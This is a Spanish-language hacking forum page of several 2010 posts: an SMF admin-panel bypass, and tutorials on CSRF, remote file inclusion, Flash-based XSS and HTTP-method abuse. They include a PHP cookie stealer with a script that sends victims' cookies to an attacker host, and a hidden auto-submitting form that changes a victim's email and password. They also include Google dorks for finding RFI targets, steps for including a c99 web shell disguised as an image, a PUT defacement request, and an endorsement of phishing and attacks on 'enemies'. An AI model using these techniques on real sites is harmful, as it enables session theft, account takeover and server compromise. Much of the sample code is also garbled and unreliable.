si ya saben que pueden encontrar una aplicacion web en un servidor que no sea vulnerable que buscas por lados y no encuentras nadas pero se te olvido buscar los servicios que tiene el server pero cuando scaneas encuentras que tiene varios deamons que son vulnerables como el mencionado arriba que gestiona el correo postfix donde corre el servicio smpt y supongamos que ese servicio contiene un deamon que sea vulnerable a un buffer overflow o (desbordamiento) como quieran decirle entonces BINGO !!! haz encontrado algo al menos en mi servidor local solo hay muy ocos servicios gestionandose.

pero siempre alla fuera en la jungla encontrarn muchicimo mas como servicios de mysql,mssql,u otras cosas interesantes..

entonces siempre recuerden que la identificacion de sistemas es lo primero que debemos hacer a la hora de buscar vulnerabilidades en una web por que puedes llegar a encontrar puertas abiertas sin tener que registrar la aplicacion web y no te imaginas las posibilidades que hay dentro del mismo..

si si te preguntas SE PUEDE USAR NMAP PARA BUSCAR VULNERABILIDADES? no y si por que no te identificara las vulnes de primera instancia pero realiza algunas cadenas de reglas como metodos de scan que te audarian a identificar servicios sin actualizacion vulnerables a algunos ataques..

espero que esta breve explicacion sobre la importancia de la identificacion y puertos de un sistema les haya gustado ya Breve Pasamos al proximo Paper y Aqui les dejo una listita de algunas herramientas que te ayudarian en este renglon:
nmap
Zenmap
Amap
Maltego
httprint
unicornscan
xprobe

son herramientas con usos similares pero les pueden acomodar tareas especificas para sacarle provecho...

Greetz: JosS,alevsk,ANTRAX,h4n0wars,e-r00t.org,security-shell members,Darvein,y mis hijos por crecer tan rapido carajo xD..



###########
#blood_rec#
###########
#29
Bugs y Exploits / SMF .htaccess ByPass
Febrero 24, 2010, 03:26:19 PM
SMF .htaccess ByPass

Discovered by Seph1roth on June 2007 (was priv8)
#
# Vulnerable: Simple Machine Forum [ALL Versions]
#
# Visit: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - Best hacking site.
#
# Description:

If smf has index.php?action=admin in .htaccess ,i can bypass that by typing in the url some variable of administration panel :

example:

index.php?action=admin (.htaccess,then access denied)
index.php?action=membergroups (accessible)
index.php?action=news (accessible)
index.php?action=featuresettings (accessible)

...and others...

i can bypass and enter the administration by typing the accessible variables in the url...

# Greets to all BlackRoots Users
#
# Shoutz to all kiddies
#
# ./end

-------------------

Traduccion rapidita:

Vulnerable: Simple Machine Forum [Todas las Versiones]

# Description:

si el smf tiene .htaccess en index.php?action=admin, se puede bypasear escribiendo en la url una variable dentro del panel de administracion.

Ejemplo:

index.php?action=admin (.htaccess, DENEGADO)
index.php?action=membergroups (accessible)
index.php?action=news (accessible)
index.php?action=featuresettings (accessible)

Bytes

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#30
Inicio Tutorial Cross Site Request Forgery By ShadinessDark = Zero Bits

1.) Presentación

2.) Que es CSRF

3.) Quien descubrió la vulnerabilidad CSRF

4.) CSRF  y Xss

5) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits

6.) Testeando vulnerabilidad CSRF y programas el code vulnerable

7.) Sacando una conclusión a todo

8.) Como cuidar nuestra Web de este tipo de ataques

9.) Despedida


1.) Presentación

Primero que nada este tutorial va dedicado a mis amigos de BugDox  y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red...

¿Por qué diferente?

Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados

¿A que se debe este tutorial?

Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?

Los saludos más especiales para mis compañeros:

Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz


2.) Que es CSRF

Bueno como muchos quizás han leído en la wikipedia ya csrf representa a
Cross Site Request Forgery el ataque se efectúa cuando por ejemplo  Vemos algo
Así No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.
Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde
Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}
Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL. 

3.) Quien descubrió la vulnerabilidad CSRF

En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un
Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso
Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada
En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado
Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.

Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta solo lo logre traducir...

4.) CSRF  y Xss

Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad
Es parecida o igual a xss.

Les explico bueno xss se aprovecha de la confianza de la victima  que tiene el sitio
Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.

El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario...

4.1) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits

Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.

Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...

- ROBO DE COOKIES EN XSS

Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code
Código: php
[url] o [img] 

no filtre bien el contenido que se le asigne.

Para algunos que no entienden lo de
Código: php
[url] y [img]
es cuando dentro del
Código: php
[url]
agregariamos un link como
Código: php
"javascript:alert("xss")"
y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).

Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)

Código: php

<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>


PD: Este code no es mio es de Chebyte. Pero esto es basico...

Bueno, le explicare el code para quienes no lo entiendan:

$cookie = $_REQUEST[cookie] : El que recibe la cookie
$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura
fput($file, "$cookie\n") : Muestra la cookie
fclose($file) : Cierra

Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:

Código: php
<script>self.location='e);"target=" _blank">http://TuWeb.com/robador.php?c='+scape(document.cookie)</script>


Y Tachan! tienes la cookie...

Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:

1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking
2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..
3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona
4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP
5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]
5. SCRIPT KIDDIE: Hacking MSN -.-"

Ahora pasaremos a hablar del CSRF clasico:

- XSRF/CSRF Clasico

Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.

Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):

Código: php

<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">
<script>document.submit();</script>


Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...

Tambien si al cambiar datos salga un link como este:

CitarNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:

Man vota por mi
Código: php
[url=http://www.web.com/[email protected]&pass=PasSCambiadoBuajaja]AQUI[/url]


Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..

Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...

Mis saludos a:

ShadinessDark, KuTer, _84kur10_, k4mus23, Jeferx, D4NB4R, Darki113r, ChEk0_Hack, DestruKci0oN, Xianur0, Zer0 Z0orG, Zer0-R00t, x_jeshua, ZH4RK, zonithack, Bashettzx, Crazyhacker16, krisium, tkdead, MaNditOo, loreValdy, wscalle1 y todos mis grandes amigos =P...

Saludos a Pandora's Box Team..

5.)Testeando vulnerabilidad CSRF y programas el code vulnerable

Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una
Imagen, daré un breve ejemplo: 

Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito
Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:

Por ejemplo usando una imagen src.
<img src="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">

Script 
<script src="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">

Casi siempre se usan los IFRAME

<iframe src="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">

Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript

<script>
var foo = new Image(); var foo = new Image ();
foo.src = "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta</script>

También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript -  JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen
Realizar peticiones REMOTAS.

¿Cambiando datos de la victima?


Bueno este breve codigo es solo un pequeño ejemplo:

<script>
var post_data = 'name=value'; post_data var = 'nombre = valor';
var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();
xmlhttp.open("POST", 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta', true); No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ( "POST", "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ', true);
xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (
if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)
{ (
alert(xmlhttp.responseText); alert (xmlhttp.responseText);
} )
}; );
xmlhttp.send(post_data); xmlhttp.send (post_data);
</script> </ script>

Como podemos ver en este código hacemos una petición a POST
Acuérdense que arriba les comente que cuando el atacante usa un código
Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...

¿A dónde se dirige esta petición?

Bueno esta petición se dirige a la base de datos del sitio me explico
Cada vez que hacemos cambios extremos en nuestro perfil todo pasa
Por una base de datos  bueno cuando la victima le da clic a la url enviada
Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta
De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?   

7.) Sacando una conclusión a todo.

Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.

Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.
Haciendo una petición en la base de datos del código del atacante...

8.) Como cuidar nuestra Web de este tipo de ataques


Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga
'Actualcontraseña'  Antes de seguir el código que pondré es sacado de la siguiente pagina No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Después que estemos en el index.php introduciremos este código con el Actualcontraseña  esto tiene que ir dentro de <?php...
Código: php

<form method="POST" action="datos.php" name="datos">
          Usuario <input type="text" name="usuario">
          Email <input type="text" name="email">
          Contraseña <input type="text" name="contraseña">
          Email alternativo: <input type="text" name="emailalternativo">
      Contraseña Actual: <input type="text" name="actualcontraseña">
         <input type="submit" name="submit" value="cambiardatos">
     </form>


Luego buscamos el archive que se llama Config.php lo pueden encontrar
Por el mismo FTP y le agregamos lo siguiente:

Código: php
<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>


En el archive datos.php usaremos lo siguiente:

Código: php
<?

include('config.php');

     session_start();
     if(isset($_REQUEST['usuario']))
          $usuario = $_REQUEST['usuario'];
     else
          die("Rellene el campo Usuario");
     if(isset($_REQUEST['email']))
          $email = $_REQUEST['email];
     else
          die("Rellene el campo email");
     if(isset($_REQUEST['contraseña']))
          $contraseña = $_REQUEST['contraseña];
     else
          die("Rellene el campo Contraseña");
     if(isset($_REQUEST['emailalternativo']))
          $emailalternativo = $_REQUEST['emailalternativo];
     else
          die("Falta el email alternativo");
    if(isset($_REQUEST['actualcontraseña']))
          $actualcontraseña = $_REQUEST['actualcontraseña];
     else
          die("Especifique la contraseña");

if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";

}else{

$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{

    CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
     
     ?>


Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin
Y le damos donde dice Consulta y introducen el siguiente código:
Código: php




CREATE TABLE `myhosting_usuarios` (
  `id` int(11) NOT NULL auto_increment,
  `usuario` varchar(15) NOT NULL,
  `email` varchar(15) NOT NULL,
  `emailalternativo` varchar(15) NOT NULL,
  `contraseña` varchar(150) NOT NULL,
  `contraseñaa` varchar(150) NOT NULL,
  KEY `id` (`id`)
) ENGINE=MyISAM;



INSERT INTO `myhosting_usuarios` VALUES (1, 'SecurityKill', '[email protected]', '[email protected]', 'mypass', 'mypass');



9.) Despedida

Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron
Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación
Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran
Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei
Me gustan las críticas  así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos
Puesto en algunos la fuente les deseo un gran fin de semana...

No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato... 

Group's Ethical.

Zero Bits
#31
Bugs y Exploits / [Tutorial] RFI By ShadinessDark
Febrero 24, 2010, 03:24:23 PM

Tutorial remote file inclusion

1.) Presentación

2.) Que es RFI

3.) Dorks RFI

4.) Testeando la vulnerabilidad

5.) Sacando una conclusión a todo

6.) Como cuidar nuestra Web de este tipo de ataques

7.) Despedida


1.) Presentación

Primero que nada este tutorial va dedicado a mis amigos de BugDox  y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red...

¿Por qué diferente?

Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados

¿A que se debe este tutorial?

Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?

Los saludos más especiales para mis compañeros:

Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz

2.) Que es RFI

RFI tiene como nombre Remote File Inclusión en español inclusión remota de archivo
Como ya saben que dice en la wikipedia esta vulnerabilidad se encuentra en páginas
Dinámicas ósea echas en PHP no en todo tipo de Web como saben siempre es depende
Del buen programador esta vulnerabilidad se encuentra en include()  casi siempre
Buscamos en los códigos de fuentes por eso es bueno estar pendiente de nuestra Programación cuando tenemos un sitio Web, Un atacante puede inyectar su código
En un programa PHP en su servidor, Cuando acceden al servidor pueden acceder a Cualquier que tiene el programa PHP por ejemplo:

Base de datos
Archivos de contraseña
Y otras cosas

Pueden instalar sus propios servidores que lo ejecutan con los privilegios de la victima
Del servidor Web como {apache o httpd} Y si el servidor no lo han modificado en algunos locales de la vulnerabilidad de escalada de privilegios el atacante que monto
La shell puede ser usada para convertirse en root... 

3.) Dorks RFI

Con un dork podemos conseguir las vulnerabilidades al azar con solo visitar
Www.Google.com y poner lo siguiente:


/index.inc.php?PATH_Includes=

/ashnews.php?pathtoashnews=

Uno de estos dos les servirá si no visiten No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


4.) Testeando la vulnerabilidad


Bueno ya hemos encontrado una Web ahora vamos a testearla  haber si es vulnerable
Primero que nada muchas veces esto se encuentra con solo revisar en los códigos de Fuente siempre se encuentra lo siguiente:


Código: php
<?php

include"#bugdox";

?>


Recordemos que esta vulnerabilidad se presenta cuando se intenta meter una página
Remota adentro de la otra y se utilizan lo códigos que di como ejemplo cuando se Encuentra la Vulnerabilidad.include() lo que hace es incluir una pagina remota por ejemplo $Bugdox

Se puede utilizar una url bajo argumento y eso es lo que hace explotar RFI por ejemplo:
Código: php

http://vulnerable.com/badcode?ejemplo=


tenemos ?ejemplo.php cuando el atacante introduce su codigo malicioso.
Citar
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 

Www.xD.com es la Web donde subí mi SHELL con el nombre c99.jpg

Al ejecutar esto en la Web de la victima ¿Qué pasa? No recoge ejemplo.php
Si no que el sistema agarra la url maligna que es la que le da una CONEXIÓN REMOTA que es cuando introducimos nuestra shell ¿Me entienden?.Un atacante
Puede saber controlar las variables de PHP se hace mediante:

Código: php
mis-PHP register_globals función.


Cuando register_globals esta habilitado en PHP el lenguaje automagicamente
Hace una instancia con los valores de las variables de la petición en http, y los pone
En el espacio de nombres del programa PHP.

Cuando se activa se le permite a un atacante inyectar un valor para cualquier variable Sin inicializar en cualquier programa solo el atacante añade un parámetro GET al final De la url es decir después de "="

Ejemplo hemos entrado en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta hemos mirado el código de fuente
Hemos observado que tiene include() hacemos la prueba:
Código: php

http://vulnerable.com/badcode?ejemplo=http://Www.google.com


Resulta que al darle clic nos redirección a GOOGLE de una vez ya sabemos que la Web Es vulnerable a RFI.

Luego que encontramos nuestra Web vulnerable buscamos nuestra SHELL
Ya sea c99 o r57 y hay otras mas.

Buscamos un hosting gratuito que soporte PHP y guardamos nuestra shell en un
Jpg.php o con gif.php no importa el formato porque tampoco que vamos a poner
Cualquier formato a veces muchas Web no permiten extracciones como gif y otras...

5.) Sacando una conclusión a todo

Como pueden ver la lógica rfi no es muy difícil es un ataque muy básico
Trata de que No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es la Web vulnerable bugdox.php esta es la que
Incluirá el redireccionamiento ?ejemplo= Esta es la que le permite a un atacante
Introducir códigos maliciosos por ejemplo la SHELL y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este sitio es el que almacena la shell...

6.) Como cuidar nuestra Web de este tipo de ataques

Para evitar este tipo de ataques en nuestros sitios podemos ir al FTP y buscar
La configuración index.php lo editamos y agregamos lo siguiente:

Antes de continuar este CODIGO de seguridad no es hecho por mi lo pueden ver
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta...

Codigo:

if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "El acceso a este lugar lo tiene denegado o no existe";
}

Ejemplo de codigo:

echo "El acceso a este lugar lo tiene denegado o no existe";

Este if funciona de la manera que si al colocar:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No te redireccionara si no que te dirá El acceso a este lugar lo tiene desnegado o no Existe pero si por ejemplo agregamos:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y si existe pasara normalmente sin dar el error para que no de el Error este archivo debe existir.

7.) Despedida

Otro tutorial mas que hago no es la gran cosa a lo mejor tengo errores por hay
Si los tengo me gustarian las {Criticas} Son muy importante para correjir a los
Demas...

No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato.

By ShadinessDark
#32

El peligro de permitir flash en los sitios.
By ShadinessDark

1.) Presentación

2.) ¿Que es flash?

3.) Método de ataque y ejemplo de Software

4.) Conclusión

5.) Despedida

1.) Presentación

Primero que nada este tutorial va dedicado a mis amigos de BugDox  y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red...

¿Por qué diferente?

Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados

¿A que se debe este tutorial?

Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?

Los saludos más especiales para mis compañeros:

Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz

1.) ¿Que es flash?

Segun la wikipedia:
Adobe Flash es una aplicación en forma de estudio de animación que trabaja sobre "Fotogramas" destinado a la producción y entrega de contenido interactivo para diferentes audiencias alrededor del mundo sin importar la plataforma. Es actualmente escrito y distribuido por Adobe Systems, y utiliza gráficos vectoriales e imágenes ráster, sonido, código de programa, flujo de vídeo y audio bidireccional (el flujo de subida sólo está disponible si se usa conjuntamente con Macromedia Flash Communication Server). En sentido estricto, Flash es el entorno y Flash Player es el programa de máquina virtual utilizado para ejecutar los archivos generados con Flash.

Los archivos de Flash, que tienen generalmente la extensión de archivo SWF, pueden aparecer en una página web para ser vista en un navegador, o pueden ser reproducidos independientemente por un reproductor Flash. Los archivos de Flash aparecen muy a menudo como animaciones en páginas Web y sitios Web multimedia, y más recientemente Aplicaciones de Internet Ricas. Son también ampliamente utilizados en anuncios de la web.

En versiones anteriores, Macromedia amplió a Flash más allá de las animaciones simples, convirtiéndolo en una herramienta de desarrollo completa, para crear principalmente elementos multimedia e interactivos para Internet.

Fue hasta 2005 perteneciente a la empresa Macromedia conocido hasta entonces como Macromedia Flash® y adquirido por Adobe Systems (desde entonces conocido como Adobe Flash) ampliando con ello su portafolio de productos dentro del mercado. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

3.) Método de ataque y ejemplo de Software

Vamos a imaginar que tenemos un sitio No tienes permitido ver los links. Registrarse o Entrar a mi cuenta este sitio permite a los
Usuarios poner sus firmas en flash y sus imágenes flash haciendo el uso de la
Etiqueta EMBED, Imaginemos que vamos a nuestro perfil donde editamos nuestros
Datos y entramos a donde colocamos la firma y agregamos.

Código: php
<EMBED
src="http://www.xD.com/miflash.swf"
pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"
type="application/x-shockwave-flash" type = "application / x-shockwave-flash"
width="0" width = "0"
height="0" height = "0"
>
</ EMBED>


Este código lo añade el atacante en la cajita de TEXTO del foro de la victima la cual
Permite robar las cookies de sesión de usuario digamos que este ataque se reproduce
En sitios que permiten usar mucho flash hay una página que hace poco mire que fue
Por ella que me nació la idea de hacer este tutorial quizás muchos la conocen No tienes permitido ver los links. Registrarse o Entrar a mi cuenta bueno hay antes permitían mucho usar el flash no se si
Todavía lo hagan bueno este sitio permite que suban archivos los usuarios...

Bueno en el caso de los SMF el flash es peligroso va para los webmasters empezando
Por mi que uso flash en mi SMF ya en SMF la etiqueta es [flash]http://y cierra[/flash]
La etiqueta [Flash]http://se convierte en la etiqueta de un objeto correcto...

Un ejemplo:
Código: php
[Flash] http://www.xD.com/miflash.swf[/flash]


Interpretemos por el script y nos quedaría algo así en lo anterior: 

Código: php


<object
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" classid = "clsid: D27CDB6E-AE6D-11cf-96B8-444553540000"
width=200 width = 200
height=200> height = 200>
<param
name=movie = nombre de la película
value= http://www.xD.com/miflash.swf> value = http://eyeonsecurity.net/download/example.swf>
<param
name=play name =juego
value=true> valor = true>
<param
name=loop = nombre del punto de
value=true> valor = true>
<param name=quality <param name = Muy bueno
value=high> valor =alto>
<embed
src=http://www.xD.com/miflash.swf
src=http://www.xD.com/miflash.swf
width=200 width = 200
height=200 height = 200
play=true Escuchar = true
loop=true loop = true
quality=high> quality = high>
</embed> </object> 


Bueno Uds se preguntaran que es clsid:D27CDB6E-AE6D-11cf-96B8-444553540000
Solo es un tag.

Bueno estos solo son ejemplos toda pagina Web que permite FLASH en la Web es probablemente vulnerable a un ataque XSS 

¿Cómo protegemos nuestro sitio Web?

Solamente no permitamos los archivos flash en web-app. También una buena solución
Seria analizar la realidad del problema animación flash y el filtro de parámetros maliciosos
Usados por el atacante por medio de getURL(). Con esto me refiero a cuando un sitio Web
Permite que los archivos swf sean cargados al servidor, Muchos webmasters permiten a los Usuarios subir archivos lo mas seguro seria que los Webmasters del sitio bloqueen todo lo que
Tenga que ver con flash que contiene getURL() Esta acción no se refieren específicamente el ataque se reproduce a un sitio http xD también podemos cambiar getURL() esto podemos lograrlo por medio de la especificación de la ventana  "_blank" me imagino que la han oído
En lenguaje de programación Web al hacer el cambio descritos la dirección URL javascript no
Se ejecutara con privilegios en el dominio que te aloja...
Como muchos sabemos ActionScript es un lenguaje es un lenguaje de Scripting complejo y proporcionamos con el la función eval() esto le permite a los atacantes mas sofisticados para
Evitar la  protección de una análisis de ActionScript...

Un buen ejemplo le definiríamos asi:

Código: php
a = "get"; 
b="URL"; b = "URL";
c="javascript:"; c = "javascript:";
d="alert('bypassed');void(0);"; d = "alert ( 'omite'); void (0);";
eval(a+b)(c+d); eval (a + b) (c + d);


Espero y me entiendan...

4.) Conclusión

Bueno si le vemos un poco la lógica a todo no es muy interesante pero peligrosa
Para los Webmaster a la hora de permitir usar SWF en su sitio Web, Si vemos
Este ataque nos lleva a un ataque XSS, Creo que con la explicación es más que
Entendible que  el archivo la cual hemos subido como flash cuando la victima
Le da clic podemos sacar las cookies y así usarla para las travesuras si me equivoco
Corríjanme.

5.) Despedida



Otro tutorial mas que hago no es la gran cosa a lo mejor tengo errores por hay
Si los tengo me gustarian las {Criticas} Son muy importante para correjir a los
Demas...

No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato...
#33
Introducción al HTTP Hacking

Este solo es una mera introduccion al HTTP Hacking hablando de los metodos y algunos ejemplos de como funcionan. Antes lean esto:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ya que leyeron, explicare los metodos HTTP....

Metodos HTTP:

GET: Viene activado por defecto, puede obtener info de un fichero y tambien solicita una pagina.

HEAD: El server devuelve los headers de la pagina, gracias a eso podemos sacar buena info del Servidor.

Ej: Vamos a usar el MS-DOS con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Abromps el MS-DOS y escribimos "nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 80", se conectara en la linea de abajo de eso, escribimos: HEAD / HTTP/1.1, le damos dos veces a ENTER para confirmar y nos tira informacion como esta:


Cache-Control:Directivas que deben ser usadas a lo largo de la peticion
Content-Type:Con lo que salio, deben imaginarse
Set-Cookie:La cookie


Nos puede dar esa o mejor Informacion, depende del Servidor...

OPTIONS: Aqui esta otro que nos da mucha info, tambien informa de los metodos permitidos por el Servidor.

Ej: Probemos con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta este metodo xD:


Podemos ver que info que sabran que es como DATE (La fecha actual), Server (Me imagino que ya sabran con lo que leyeron xD), Content-Length (Numero de caracteres), pero para quienes no conocen a ALLOW, dice los metodos permitidos por el Servidor, entonces aqui se permiten GET, HEAD, POST, OPTIONS y TRACE.

TRACE: Responde lo que le enviemos, podremos aprovecharnos de esa haciendo XSS o cualquier otra cosa como Floodearlo...

Ej:

Citar
nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
TRACE / HTTP/1.0
<script>alert("Probando TRACE")</script>

Netcat dira si se llego a lograr o no...

POST: Podemos hacer que el servidor acepte informacion enviada por nosotros.

Ej: Podemos hacer que un uploader acepte una imagen con contenido malicioso.

PUT: Cuando vean que el servidor acepte PUT, leyendo esto puede que se emocionen, ya que PUT permite modificar un fichero.

Ej:

CitarPUT /index.html HTTP/1.0
Content-Length: 14
<h1>Owned</h1>

Content-Length, es el numero de caracteres....

Dependiendo de si funciona o no, te lo dira... A veces piden autorizacion, dependiendo de la seguridad, solo ahi que poner la IP o nombre del Servidor.

DELETE: Borra un fichero.

Ej:

